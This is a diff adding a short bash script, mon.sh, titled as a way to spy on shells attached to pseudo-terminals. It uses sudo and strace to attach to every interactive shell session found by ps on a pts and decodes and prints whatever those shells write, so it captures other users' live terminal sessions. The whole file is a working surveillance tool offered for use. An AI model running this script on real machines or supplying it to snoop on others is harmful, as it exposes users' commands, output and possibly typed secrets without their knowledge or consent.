spy on pts's shell script

mon.sh

@@ -0,0 +1,31 @@
+#!/usr/bin/env bash
+
+#Requires sudo, strace and GNU grep
+
+echo "<START>"
+
+sudo strace       \
+  -e trace=write  \
+  -s 1000         \
+  -f              \
+  $(ps u                       |
+    grep pts                   |
+    grep Ss                    |
+    grep -v grep               |
+    awk '{print "-p " $2 " "}' |
+    xargs)        \
+ 2>&1             |
+
+  grep            \
+  --line-buffered \
+  -o '".*[^"]"'   |
+
+  grep            \
+  --line-buffered \
+  -o '[^"]*[^"]'  |
+
+while IFS="" read -r char; do
+  printf '%b' "$char"
+done
+
+echo "<END>"